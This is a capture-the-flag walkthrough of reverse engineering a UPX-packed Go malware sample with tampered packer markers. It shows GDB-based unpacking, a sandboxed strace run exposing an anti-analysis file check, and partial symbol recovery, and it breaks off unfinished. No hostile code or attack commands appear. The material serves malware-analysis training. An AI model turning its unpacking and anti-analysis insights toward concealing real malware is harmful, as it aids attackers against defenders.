Intro
This is my walkthrough of wiz's CTF challenge Malware Bustershttps://www.cloudsecuritychampionship.com/challenge/6 , which focused golang reverse engineering.
This post assumes a degree of familiarity with:
- What an ELF file contains and roughly how it works
- GDB, and how to read breakpoints
- High level RE concepts: static vs dynamic analysis, breakpoints, catchpoints ...
We start off with a small shell to a cloud VM in the browser. Browsing around we see a binary buu, so I tar & base64 it to extract it from the cloud vm, then in my local VM:
$ mcd wiz
mkdir: created directory 'wiz'
$ paste | base64 -d > wiz.tgz
$ tar -xzf wiz.tgz
$ ls
buu wiz.tgz
Initial analysis
[~/ctf]$ file buu
buu: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header
[~/ctf]$ ls -l buu
-rwxr-xr-x 1 hendo hendo 2016068 Dec 9 00:29 buu
[~/ctf]$ readelf -eW ./buu
ELF Header:
Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
Class: ELF64
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: EXEC (Executable file)
Machine: Advanced Micro Devices X86-64
Version: 0x1
Entry point address: 0x5eb950
Start of program headers: 64 (bytes into file)
Start of section headers: 0 (bytes into file)
Flags: 0x0
Size of this header: 64 (bytes)
Size of program headers: 56 (bytes)
Number of program headers: 3
Size of section headers: 64 (bytes)
Number of section headers: 0
Section header string table index: 0
There are no sections in this file.
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
LOAD 0x000000 0x0000000000400000 0x0000000000400000 0x1ec2c8 0x1ec2c8 R E 0x1000
LOAD 0x000000 0x00000000005ed000 0x00000000005ed000 0x000000 0x2d8860 RW 0x1000
GNU_STACK 0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RW 0x8
This tells us: - 64 bit ELF file - quite large @ 2MB - statically linked, no library dependencies - no sections
One thing we can notice is that when we compress it, the binary hardly shrinks. this indicates the content is largely already compressed / encrypted.I didn't but you could do more formal entropy analysis, for example with r2:
The small number of sections and stuff feels like a packerhttps://github.com/packing-box/awesome-executable-packing , and sure enough, there's our UPXhttps://github.com/upx/upx string:
$ strings buu
executable packer http://upx.sf.net $
$Id: UPX 3.96 Copyright (C) 1996-2020 the UPX Team. All Rights Reserved. $
Extracting binary from UPX
Can binwalk find the compressed data using a known signature, within the binary?
$ binwalk buu
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 ELF, 64-bit LSB executable, AMD x86-64, version 1 (SYSV)
1925319 0x1D60C7 AES S-Box
1925605 0x1D61E5 AES Inverse S-Box
2013976 0x1EBB18 Copyright string: "Copyright (C) 1996-2020 the UPX Team. All Rights Reserved. $"
Nope. The presence of an AES S-BOX and Inverse S-BOX next to each other is interesting, indicating this is a true positive finding. UPX doesn't support any AES encryption to my knowledge, and it shouldn't be strings from the original binary, as UPX compresses it. So not sure what these are doing here.
UPX effectively has a small decompression stub that decompresses the rest of the file in memory. UPX has a "decompress" feature we can try and use to recover the original binary:
[~/ctf]$ upx -d buu -o buu.elf
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2018
UPX 3.95 Markus Oberhumer, Laszlo Molnar & John Reiser Aug 26th 2018
File size Ratio Format Name
-------------------- ------ ----------- -----------
upx: buu: NotPackedException: not packed by UPX
Unpacked 0 files.
Doesn't decompress. Might be my upx version (3.95) can't decompress from 3.96, so let's install an up to date UPX from source. Alternatively the challenge authors might have modified the file to not be straightforward to reverse, or maybe it's not UPX and it's just a red herring. Popping the bin open in cutter suggests it is UPX, as we have only a small exposed set of functions, despite the binary being ~2MB. Attempting decompression with up to date UPX:
[~/ctf]$ ./upx-5.0.2-amd64_linux/upx -d buu
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2025
UPX 5.0.2 Markus Oberhumer, Laszlo Molnar & John Reiser Jul 20th 2025
File size Ratio Format Name
-------------------- ------ ----------- -----------
upx: buu: NotPackedException: not packed by UPX
That also fails :(, this makes me more confident they've done something to mess up the UPX decompression.
If we use UPX ourselves to compress a binary and search for strings, we see some different indicators to our binary:
[~/ctf]$ upx /usr/bin/ls -o ls.upx
[~/ctf]$ strings ./ls.upx | grep -i upx
UPX!
$Info: This file is packed with the UPX executable packer http://upx.sf.net $
$Id: UPX 3.95 Copyright (C) 1996-2018 the UPX Team. All Rights Reserved. $
UPX!u
UPX!
UPX!
[~/ctf]$ strings buu| grep -i upx
6'Upx
uuPX7
executable packer http://upx.sf.net $
$Id: UPX 3.96 Copyright (C) 1996-2020 the UPX Team. All Rights Reserved. $
Looks like the challenge bin is missing a bunch of the UPX! markers, that might be a deliberate measure to prevent extraction.
Let's give up on static recovery, and switch to dynamic analysis.
Dynamic unpacking
The whole point of UPX is to decompress a binary in memory. This means that if we debug it while it runs we should be able to observe and extract the embedded ELF file. Unpacking / running binaries in memory requires liberal use of mmap / mprotectSee the original treatise on in-memory loading https://grugq.github.io/docs/ul_exec.txt . So let's use GDB to run the UPX'd binary, and examine memory.
To do this I install a breakpoint on mmap / mprotect syscalls with catchpoints, and use the vmmap command to dump memory segments:
gdb-peda$ catch syscall mmap
gdb-peda$ catch syscall mprotect
Breakpoint one:
Before:
gdb-peda$ vmmap
Start End Perm Name
0x00400000 0x005ed000 r-xp /home/hendo/synactiv/wiz/buu
0x005ed000 0x008c6000 rw-p [heap]
0x00007ffff7ff9000 0x00007ffff7ffd000 r--p [vvar]
0x00007ffff7ffd000 0x00007ffff7fff000 r-xp [vdso]
0x00007ffffffde000 0x00007ffffffff000 rw-p [stack]
0xffffffffff600000 0xffffffffff601000 --xp [vsyscall]
After mmap 1:
gdb-peda$ vmmap
Start End Perm Name
0x00400000 0x005ed000 r-xp /home/hendo/synactiv/wiz/buu
0x005ed000 0x008c6000 rw-p [heap]
0x00007ffff7e0c000 0x00007ffff7ff9000 rw-p mapped < --- NEW
0x00007ffff7ff9000 0x00007ffff7ffd000 r--p [vvar]
0x00007ffff7ffd000 0x00007ffff7fff000 r-xp [vdso]
0x00007ffffffde000 0x00007ffffffff000 rw-p [stack]
0xffffffffff600000 0xffffffffff601000 --xp [vsyscall]
We see a memory backed region created.
After mmap2:
gdb-peda$ vmmap
Start End Perm Name
0x00400000 0x005ed000 r-xp /home/hendo/synactiv/wiz/buu
0x005ed000 0x008c6000 rw-p [heap]
0x00007ffff7e0c000 0x00007ffff7ff9000 rw-p /home/hendo/synactiv/wiz/buu <- mapped to file??
0x00007ffff7ff9000 0x00007ffff7ffd000 r--p [vvar]
0x00007ffff7ffd000 0x00007ffff7fff000 r-xp [vdso]
0x00007ffffffde000 0x00007ffffffff000 rw-p [stack]
0xffffffffff600000 0xffffffffff601000 --xp [vsyscall]
After mprotect region is split in 2, and is now an r-xp segment:
gdb-peda$ vmmap
Start End Perm Name
0x00400000 0x005ed000 r-xp /home/hendo/synactiv/wiz/buu
0x005ed000 0x008c6000 rw-p [heap]
0x00007ffff7e0c000 0x00007ffff7ff7000 rw-p /home/hendo/synactiv/wiz/buu <- split into 2 regions: RW
0x00007ffff7ff7000 0x00007ffff7ff9000 r-xp /home/hendo/synactiv/wiz/buu <- RX
0x00007ffff7ff9000 0x00007ffff7ffd000 r--p [vvar]
0x00007ffff7ffd000 0x00007ffff7fff000 r-xp [vdso]
0x00007ffffffde000 0x00007ffffffff000 rw-p [stack]
0xffffffffff600000 0xffffffffff601000 --xp [vsyscall]
We see the next instruction is a jump to 0x00007ffff7ff7c96:
0x5ebc26: push 0xa
0x5ebc28: pop rax
0x5ebc29: syscall
=> 0x5ebc2b: jmp r13
| 0x5ebc2e: pop rbp
| 0x5ebc2f: call 0x5ebb70
| 0x5ebc34: (bad)
| 0x5ebc35: jo 0x5ebca9
|-> 0x7ffff7ff7c47: call 0x7ffff7ff7c96
0x7ffff7ff7c4c: cmp ecx,0x49
0x7ffff7ff7c4f: jne 0x7ffff7ff7c95
0x7ffff7ff7c51: push rbx
gdb-peda$ vmmap
Start End Perm Name
0x00400000 0x0063c000 rwxp mapped
0x0063c000 0x008c6000 ---p [heap]
0x00007ffff7e0c000 0x00007ffff7ff7000 rw-p /home/hendo/synactiv/wiz/buu
0x00007ffff7ff7000 0x00007ffff7ff9000 r-xp /home/hendo/synactiv/wiz/buu
0x00007ffff7ff9000 0x00007ffff7ffd000 r--p [vvar]
0x00007ffff7ffd000 0x00007ffff7fff000 r-xp [vdso]
0x00007ffffffde000 0x00007ffffffff000 rw-p [stack]
0xffffffffff600000 0xffffffffff601000 --xp [vsyscall]
This is within the new executable region. In other words the decryption / decompression stub is finished and is now jumping
So we use the dump command to dump the new regions to disk to examine them:
gdb-peda$ dump binary memory mem.bin 0x00400000 0x0063c000
$ file mem.bin
mem.bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, too large section header offset 3268544
$ strings mem.bin:
myhostnaM9"uRfA
<$succu fA
notfoundI9
unixgramH9
unixpackH9
unixpackL9
unixgramL9
unixpackL9
unixgramH9
unixpackH9
CERTIFICH92u#f
key expaH9
master sH9
client fH9
server fH9
|$0H9w uFH
us-asciiH9
t$`H9N sUH
D$`I9@ sML
localhosH9
*http2.TH9
ransportH9H
AuthorizH9
enticateH9H
httponlyL9
samesiteL9
:authoriI98uFfA
d$PL9T$XuDL
Content-H9
HTTP/1.0H9
no-cacheH9
Great, file tells us it's an ELF fileor at least the first part of one... . In the strings output we can see some references there to HTTP etc, so seems to fit the description of our challenge authors: some malware that does C2 via HTTP.
Opening in cutter looks quite ugly and maybe golang. Strings finds some stuff that suggest golang too:
[~/ctf]$ strings mem.bin | grep -i go
GODEBUG=H92
GODEBUG=1
gopau$f
gopau!f
gopau&f
@GO?
Looking at the output of readelf, vs a std golang binary, they appear quite similar in section layout etc (agent is stripped):
$ readelf -eW mem.bin
ELF Header:
Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
Class: ELF64
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: EXEC (Executable file)
Machine: Advanced Micro Devices X86-64
Version: 0x1
Entry point address: 0x465380
Start of program headers: 64 (bytes into file)
Start of section headers: 568 (bytes into file)
Flags: 0x0
Size of this header: 64 (bytes)
Size of program headers: 56 (bytes)
Number of program headers: 9
Size of section headers: 64 (bytes)
Number of section headers: 26
Section header string table index: 9
readelf: Error: Reading 256 bytes extends past end of file for string table
readelf: Error: Reading 912 bytes extends past end of file for symbols
Section Headers:
[Nr] Name Type Address Off Size ES Flg Lk Inf Al
[ 0] <no-strings> NULL 0000000000000000 000000 000000 00 0 0 0
[ 1] <no-strings> PROGBITS 0000000000401000 001000 23a4bb 00 AX 0 0 32
[ 2] <no-strings> PROGBITS 000000000063b4c0 23b4c0 000220 10 AX 0 0 16
[ 3] <no-strings> PROGBITS 000000000063c000 23c000 0e1ad1 00 A 0 0 32
[ 4] <no-strings> RELA 000000000071dad8 31dad8 000018 18 A 11 0 8
[ 5] <no-strings> RELA 000000000071daf0 31daf0 000318 18 A 11 2 8
[ 6] <no-strings> VERSYM 000000000071de20 31de20 00004c 02 A 11 0 2
[ 7] <no-strings> VERNEED 000000000071de80 31de80 000070 00 A 10 1 8
[ 8] <no-strings> HASH 000000000071df00 31df00 0000bc 04 A 11 0 8
[ 9] <no-strings> STRTAB 0000000000000000 31dfc0 000100 00 0 0 1
[10] <no-strings> STRTAB 000000000071e0c0 31e0c0 000230 00 A 0 0 1
[11] <no-strings> DYNSYM 000000000071e300 31e300 000390 18 A 10 1 8
[12] <no-strings> PROGBITS 000000000071e6a0 31e6a0 0013e4 00 A 0 0 32
[13] <no-strings> PROGBITS 000000000071faa0 31faa0 000818 00 A 0 0 32
[14] <no-strings> PROGBITS 00000000007202b8 3202b8 000000 00 A 0 0 1
[15] <no-strings> PROGBITS 00000000007202c0 3202c0 12f2b0 00 A 0 0 32
[16] <no-strings> PROGBITS 0000000000850000 450000 000030 00 WA 0 0 16
[17] <no-strings> DYNAMIC 0000000000850040 450040 000120 10 WA 10 0 8
[18] <no-strings> PROGBITS 0000000000850160 450160 000120 08 WA 0 0 8
[19] <no-strings> PROGBITS 0000000000850280 450280 000008 08 WA 0 0 8
[20] <no-strings> PROGBITS 00000000008502a0 4502a0 031178 00 WA 0 0 32
[21] <no-strings> PROGBITS 0000000000881420 481420 00ab30 00 WA 0 0 32
[22] <no-strings> NOBITS 000000000088bf60 48bf60 031b40 00 WA 0 0 32
[23] <no-strings> NOBITS 00000000008bdaa0 4bdaa0 007dc0 00 WA 0 0 32
[24] <no-strings> NOBITS 0000000000000000 000000 000008 00 WAT 0 0 8
[25] <no-strings> PROGBITS 0000000000400fe4 000fe4 00001c 00 A 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
L (link order), O (extra OS processing required), G (group), T (TLS),
C (compressed), x (unknown), o (OS specific), E (exclude),
l (large), p (processor specific)
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0x000040 0x0000000000400040 0x0000000000400040 0x0001f8 0x0001f8 R 0x1000
INTERP 0x000fe4 0x0000000000400fe4 0x0000000000400fe4 0x00001c 0x00001c R 0x1
[Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
LOAD 0x000000 0x0000000000400000 0x0000000000400000 0x23b6e0 0x23b6e0 R E 0x1000
LOAD 0x23c000 0x000000000063c000 0x000000000063c000 0x213570 0x213570 R 0x1000
LOAD 0x450000 0x0000000000850000 0x0000000000850000 0x03bf60 0x075860 RW 0x1000
DYNAMIC 0x450040 0x0000000000850040 0x0000000000850040 0x000120 0x000120 RW 0x8
readelf: Error: no .dynamic section in the dynamic segment
TLS 0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000008 R 0x8
GNU_STACK 0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RW 0x8
LOOS+0x5041580 0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 0x8
readelf: Error: Reading 288 bytes extends past end of file for dynamic section
[~/ctf]$ readelf -eW agent
ELF Header:
Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
Class: ELF64
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: EXEC (Executable file)
Machine: Advanced Micro Devices X86-64
Version: 0x1
Entry point address: 0x476300
Start of program headers: 64 (bytes into file)
Start of section headers: 6732696 (bytes into file)
Flags: 0x0
Size of this header: 64 (bytes)
Size of program headers: 56 (bytes)
Number of program headers: 9
Size of section headers: 64 (bytes)
Number of section headers: 27
Section header string table index: 26
Section Headers:
[Nr] Name Type Address Off Size ES Flg Lk Inf Al
[ 0] NULL 0000000000000000 000000 000000 00 0 0 0
[ 1] .text PROGBITS 0000000000401000 001000 313031 00 AX 0 0 32
[ 2] .plt PROGBITS 0000000000714040 314040 0002b0 10 AX 0 0 16
[ 3] .rodata PROGBITS 0000000000715000 315000 13d961 00 A 0 0 32
[ 4] .dynsym DYNSYM 0000000000853200 453200 000468 18 A 10 1 8
[ 5] .rela RELA 0000000000852968 452968 000018 18 A 4 0 8
[ 6] .rela.plt RELA 0000000000852980 452980 0003f0 18 AI 4 17 8
[ 7] .gnu.version VERSYM 0000000000852d80 452d80 00005e 02 A 4 0 2
[ 8] .gnu.version_r VERNEED 0000000000852de0 452de0 000060 00 A 10 2 8
[ 9] .hash HASH 0000000000852e40 452e40 0000e0 04 A 4 0 8
[10] .dynstr STRTAB 0000000000852f20 452f20 0002cb 00 A 0 0 1
[11] .typelink PROGBITS 0000000000853680 453680 002004 00 A 0 0 32
[12] .itablink PROGBITS 00000000008556a0 4556a0 000d10 00 A 0 0 32
[13] .gosymtab PROGBITS 00000000008563b0 4563b0 000000 00 A 0 0 1
[14] .gopclntab PROGBITS 00000000008563c0 4563c0 1f68e8 00 A 0 0 32
[15] .go.buildinfo PROGBITS 0000000000a4d000 64d000 0004c0 00 WA 0 0 16
[16] .dynamic DYNAMIC 0000000000a4d4c0 64d4c0 000150 10 WA 10 0 8
[17] .got.plt PROGBITS 0000000000a4d620 64d620 000168 08 WA 0 0 8
[18] .got PROGBITS 0000000000a4d788 64d788 000008 08 WA 0 0 8
[19] .noptrdata PROGBITS 0000000000a4d7a0 64d7a0 00fb40 00 WA 0 0 32
[20] .data PROGBITS 0000000000a5d2e0 65d2e0 00e7d0 00 WA 0 0 32
[21] .bss NOBITS 0000000000a6bac0 66bab0 022720 00 WA 0 0 32
[22] .noptrbss NOBITS 0000000000a8e1e0 66bab0 006720 00 WA 0 0 32
[23] .tbss NOBITS 0000000000000000 66bab0 000008 00 WAT 0 0 8
[24] .interp PROGBITS 0000000000400fe4 000fe4 00001c 00 A 0 0 1
[25] .note.go.buildid NOTE 0000000000400f80 000f80 000064 00 A 0 0 4
[26] .shstrtab STRTAB 0000000000000000 66bab0 0000e8 00 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
L (link order), O (extra OS processing required), G (group), T (TLS),
C (compressed), x (unknown), o (OS specific), E (exclude),
l (large), p (processor specific)
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0x000040 0x0000000000400040 0x0000000000400040 0x0001f8 0x0001f8 R 0x1000
INTERP 0x000fe4 0x0000000000400fe4 0x0000000000400fe4 0x00001c 0x00001c R 0x1
[Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
NOTE 0x000f80 0x0000000000400f80 0x0000000000400f80 0x000064 0x000064 R 0x4
LOAD 0x000000 0x0000000000400000 0x0000000000400000 0x3142f0 0x3142f0 R E 0x1000
LOAD 0x315000 0x0000000000715000 0x0000000000715000 0x337ca8 0x337ca8 R 0x1000
LOAD 0x64d000 0x0000000000a4d000 0x0000000000a4d000 0x01eab0 0x047900 RW 0x1000
DYNAMIC 0x64d4c0 0x0000000000a4d4c0 0x0000000000a4d4c0 0x000150 0x000150 RW 0x8
TLS 0x66bab0 0x0000000000000000 0x0000000000000000 0x000000 0x000008 R 0x8
GNU_STACK 0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RW 0x8
Section to Segment mapping:
Segment Sections...
00
01 .interp
02 .note.go.buildid
03 .text .plt .interp .note.go.buildid
04 .rodata .dynsym .rela .rela.plt .gnu.version .gnu.version_r .hash .dynstr .typelink .itablink .gosymtab .gopclntab
05 .go.buildinfo .dynamic .got.plt .got .noptrdata .data .bss .noptrbss
06 .dynamic
07 .tbss
08
Ok so I think this is likely golang. I've not done much with golang before but in my reversing notes I have a link to https://github.com/go-delve/delve, so let's give that a go. Okay turns out it's a dynamic debugger, not a static decompiler or something. If we go down the dynamic route we should start off wit
https://github.com/go-delve/delve/blob/master/Documentation/cli/getting_started.md
and it needs source code analysis
Dynamic analysis
Ok let's switch approach. We'll dynamically run the binary and see what it does:
The following docker cmd runs the binary in a container with qemu-sandbox, just for a bit of file system isolation:
$ docker run --rm -it \
--network none \
--read-only \
--cap-drop ALL \
--tmpfs /tmp \
-v ./buu:/app/binary:ro \
-v /tmp/output:/output \
qemu-sandbox \
qemu-x86_64 -strace /app/binary 2>&1 | tee /output/trace.log
1 nanosleep(46913168084368,0,0,8,2,7)1 openat(AT_FDCWD,"/tmp/.X11/cnf",O_RDONLY|O_CLOEXEC) = -1 errno=2 (No such file or directory)
1 write(1,0x1a0a8,23)I don't belong here...
= 23
1 exit_group(0)
Ok so the binary doesn't like the execution environment, maybe an anti-analysis feature. Let's use the strace log to find how that works under the hood:
nanosleep(46913168084368,0,0,8,3,7)23 openat(AT_FDCWD,"/tmp/.X11/cnf",O_RDONLY|O_CLOEXEC) = 3
23 epoll_create1(524288) = 4
23 pipe2(0xc0000c5bd0,526336) = 0
23 epoll_ctl(4,1,5,824634530868,88,96) = 0
23 epoll_ctl(4,1,3,824634530996,0,2) = -1 errno=1 (Operation not permitted)
23 fstat(3,0x000000c00009d218) = 0
23 read(3,0x180000,512) = 0
23 close(3) = 0
= 0
23 clock_gettime(CLOCK_MONOTONIC,0x00002aaad2b80d80) = 0 ({tv_sec = 3845,tv_nsec = 926277876})
23 clock_gettime(CLOCK_MONOTONIC,0x00002aaad2b80d80) = 0 ({tv_sec = 3845,tv_nsec = 926315927})
23 epoll_pwait(4,46913168082848,128,0,0,7) = 0
23 nanosleep(46912504509760,0,0,46913453324288,16,0)23 getpid() = 23
23 tgkill(23,23,SIGURG) = 0
= -1 errno=4 (Interrupted system call)
--- SIGURG {si_signo=SIGURG, si_code=SI_TKILL, si_pid=23, si_uid=0} ---
23 rt_sigreturn(0x7e7320) = -1 errno=513 (Successful exit from sigreturn)
23 nanosleep(46912504509760,0,0,46913453324288,16,0)23 nanosleep(46913168084368,0,0,0,4,7) = 0
23 write(2,0x69fc6f,7)panic: = 7
23 write(2,0xd8140,53)interface conversion: interface {} is nil, not string = 53
23 write(2,0x714a7c,1)
= 1
23 write(2,0x714a7c,1)
= 1
23 write(2,0x6a09a1,10)goroutine = 10
23 write(2,0xab2ab4b7,1)1 = 1
23 write(2,0x69eff5,2) [ = 2
23 write(2,0x69fd02,7)running = 7
23 write(2,0x69f186,3)]:
= 3
23 write(2,0x74d971,13)main.qvHPoPlV = 13
23 write(2,0x714a88,1)( = 1
23 write(2,0xab2aaefd,3)0x0 = 3
23 write(2,0x69efde,1)? = 1
23 write(2,0x69f003,2), = 2
23 write(2,0xab2aaefd,3)0x0 = 3
23 write(2,0x69efde,1)? = 1
23 write(2,0x69f001,2))
= 2
23 write(2,0x715a48,1) = 1
23 write(2,0x753256,11)b8FPSRZ5.go = 11
23 write(2,0x69efda,1): = 1
23 write(2,0xab2aafa7,1)1 = 1
23 write(2,0x69efed,2) + = 2
23 write(2,0xab2aafc3,5)0x4f9 = 5
23 write(2,0x714a7c,1)
= 1
23 write(2,0x74da11,9)main.main = 9
23 write(2,0x714a88,1)( = 1
23 write(2,0x69f001,2))
= 2
23 write(2,0x715a48,1) = 1
23 write(2,0x7534ba,11)wV8ZpRDf.go = 11
23 write(2,0x69efda,1): = 1
23 write(2,0xab2aafa7,1)1 = 1
23 write(2,0x69efed,2) + = 2
23 write(2,0xab2aafc3,5)0x185 = 5
23 write(2,0x714a7c,1)
= 1
23 exit_group(2)
/app/binary
panic: interface conversion: interface {} is nil, not string
goroutine 1 [running]:
main.qvHPoPlV(0x0?, 0x0?)
b8FPSRZ5.go:1 +0x4f9
main.main()
wV8ZpRDf.go:1 +0x185
Applying symbols from upx
tostripfile=/lib/x86_64-linux-gnu/ld-2.31.so objcopy --only-keep-debug "${tostripfile}" ld.debug
go
wiz ./redress/redress packages -f mem.bin
Packages:
Name Version Path
---- ------- ----
main .
./redress/redress types all mem.bin --version go1.19 > types
wiz grep -i flag types
*fmt.fmtFlags
Flags uint
Flags uint16
Cloneflags uintptr
Unshareflags uintptr
Unforetunately other commands don't allow us to override the version:
wiz ./redress/redress moduledata dump section mem.bin
Could not retrieve the file's moduledata: no goversion found.
➜ wiz ./redress/redress moduledata dump section mem.bin --version go1.19
Error: unknown flag: --version
Usage:
redress moduledata dump section path/to/file [flags]
Flags:
-h, --help help for dump
unknown flag: --version
wiz ./redress/redress source mem.bin
Package main: .
File: ??
ZZzgf2nH Lines: 25 to 28 (3)
File: MdUikZNz.go
WG2BdUVb Lines: 8 to 8 (0)
File: OHFNVwMv.go
kYgXL_QA Lines: 9 to 13 (4)
File: PayHhz6U.go
MG2pKkLO Lines: 6 to 6 (0)
File: Tlu8txYg.go
main Lines: 4 to 6 (2)
File: ZqeKlKdM.go
LVEnGayC Lines: 6 to 7 (1)
File: sHYKGxoD.go
yprG5We4 Lines: 21 to 22 (1)
File: sz9szsft.go
dT6K8IGR Lines: 4 to 4 (0)
File: zVO72Rro.go
qvHPoPlV Lines: 7 to 7 (0)
➜ wiz strings mem.bin | grep -i "main\."
runtime.main.func1
runtime.main.func2
main.ZZzgf2nH
main.kYgXL_QA
main.yprG5We4
main.WG2BdUVb
main.qvHPoPlV
main.dT6K8IGR
main.LVEnGayC
main.MG2pKkLO
main.lZpkz9zq
main.main
catch openat
We'll use the below commands to break on syscalls to openat(/tmp/.X11/cnf):
gdb$ catch syscall openat
gdb$ condition 1 $_streq((char*)$rsi, "/tmp/.X11/cnf")
Thread 1 "buu" hit Catchpoint 1 (call to syscall openat), 0x00000000004a762a in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────────────────────────────────────────────────────
*RAX 0xffffffffffffffda
*RBX 0xc00002a500 ◂— 0x200000001
*RCX 0x4a762a ◂— cmp rax, -0xfff
*RDX 0x80000
*RDI 0xffffffffffffff9c
*RSI 0xc0000b02a0 ◂— '/tmp/.X11/cnf'
*R8 0
*R9 0
R10 0
*R11 0x212
*R12 0
*R13 0
*R14 0xc0000021a0 —▸ 0xc0000ba000 —▸ 0xc0000bc000 ◂— 0
*R15 0x2a
*RBP 0xc0000bbd48 —▸ 0xc0000bbd90 —▸ 0xc0000bbdc8 —▸ 0xc0000bbea8 —▸ 0xc0000bbf70 ◂— ...
*RSP 0xc0000bbcb8 —▸ 0x4a53a5 ◂— xorps xmm15, xmm15
*RIP 0x4a762a ◂— cmp rax, -0xfff
─────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────────────────────────────────────────────────────────────
► 0x4a762a cmp rax, -0xfff 0xffffffffffffffda - -0xfff EFLAGS => 0x202 [ cf pf af zf sf IF df of ac ]
0x4a7630 ✘ jbe 0x4a7652 <0x4a7652>
0x4a7632 mov qword ptr [rsp + 0x40], 0xffffffffffffffff [0xc0000bbcf8] <= 0xffffffffffffffff
0x4a763b mov qword ptr [rsp + 0x48], 0 [0xc0000bbd00] <= 0
0x4a7644 neg rax
0x4a7647 mov qword ptr [rsp + 0x50], rax [0xc0000bbd08] <= 0x26
0x4a764c call 0x4662a0 <0x4662a0>
0x4a7651 ret
0x4a7652 mov qword ptr [rsp + 0x40], rax
0x4a7657 mov qword ptr [rsp + 0x48], rdx
0x4a765c mov qword ptr [rsp + 0x50], 0
a762a
appears to call a function with the contents of the file and the length ()
0x4c2c4c mov qword ptr [rsp + 0x58], rcx [0xc0000bbe30] <= 5
0x4c2c51 cmp rcx, rsi 0x5 - 0x200 EFLAGS => 0x287 [ CF PF af zf SF IF df of ac ]
0x4c2c54 ✔ jl 0x4c2ca9 <0x4c2ca9>
↓
► 0x4c2ca9 mov qword ptr [rsp + 0x80], rax [0xc0000bbe58] <= 0xc0000f8000 ◂— 0xa74736574 /* 'test\n' */
0x4c2cb1 mov qword ptr [rsp + 0x70], rsi [0xc0000bbe48] <= 0x200
0x4c2cb6 mov rdi, rsi RDI => 0x200
0x4c2cb9 sub rdi, rcx RDI => 0x1fb (0x200 - 0x5)
0x4c2cbc mov r8, rdi R8 => 0x1fb
RAX 0
*RBX 0x716cc0 —▸ 0x667cc0 ◂— 0x10
*RCX 0xc000092040 —▸ 0x69f11a ◂— 0x7246626546464f45 ('EOFFebFr')
*RDX 0x65e701 ◂— 0x4c0000000000715c /* '\\q' */
*RDI 0xa
*RSI 0x36
*R8 2
R9 0
R10 0x7ffff7fad101 ◂— 0
R11 0x202
R12 0
R13 0
R14 0xc0000021a0 —▸ 0xc0000ba000 —▸ 0xc0000bc000 ◂— 0
R15 0x40
RBP 0xc0000bbea8 —▸ 0xc0000bbf70 —▸ 0xc0000bbfd0 ◂— 0
RSP 0xc0000bbdd8 —▸ 0xc0000a6018 —▸ 0xc0000a8240 ◂— 0
*RIP 0x4c2cdb ◂— mov rdx, qword ptr [rsp + 0x58]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x4c2cc9 lea rbx, [rax + rdi] RBX => 0xc0000f8005 ◂— 0
0x4c2ccd mov rdi, r8 RDI => 0x1fb
0x4c2cd0 mov rax, rdx RAX => 0xc0000a6018 —▸ 0xc0000a8240 ◂— 0
0x4c2cd3 mov rcx, rdi RCX => 0x1fb
0x4c2cd6 call 0x4c21a0 <0x4c21a0>
► 0x4c2cdb mov rdx, qword ptr [rsp + 0x58] RDX, [0xc0000bbe30] => 5
0x4c2ce0 add rdx, rax RDX => 5 (5 + 0)
0x4c2ce3 mov rsi, qword ptr [rsp + 0x70] RSI, [0xc0000bbe48] => 0x200
0x4c2ce8 cmp rsi, rdx 0x200 - 0x5 EFLAGS => 0x212 [ cf pf AF zf sf IF df of ac ]
0x4c2ceb ✘ jb 0x4c2dcf <0x4c2dcf>
0x4c2cf1 test rbx, rbx 0x716cc0 & 0x716cc0 EFLAGS => 0x206 [ cf PF a
perhaps some string comparison
seems to reference a list of short strings:
RAX 0
RBX 0x716cc0 —▸ 0x667cc0 ◂— 0x10
RCX 0xc000092040 —▸ 0x69f11a ◂— 0x7246626546464f45 ('EOFFebFr')
*RDX 5
RDI 0xa
RSI 0x36
R8 2
strings mem.bin | grep -i EOFFebFr
125200204206304400404443500625://::1???ACKAprAugDSADecEOFFebFriGETGetHanJanJulJunLaoMD4MD5MarMayMonMroNaNNkoNovOctPC=RSASETSatSepSunTTLThuTueURIUTCVaiViaWed
0x63b2d0 mov qword ptr [rsp + 0x60], rax [0xc0000bbf18] <= 0
0x63b2d5 mov qword ptr [rsp + 0x78], rbx [0xc0000bbf30] <= 0x716ce0 —▸ 0x667cc0 ◂— 0x10
0x63b2da mov qword ptr [rsp + 0x68], rcx [0xc0000bbf20] <= 0xc0000ae100 —▸ 0xc0000ce0c0 ◂— 'failed to unmarshal json: unexpected end of JSON i...'
Recovery tool
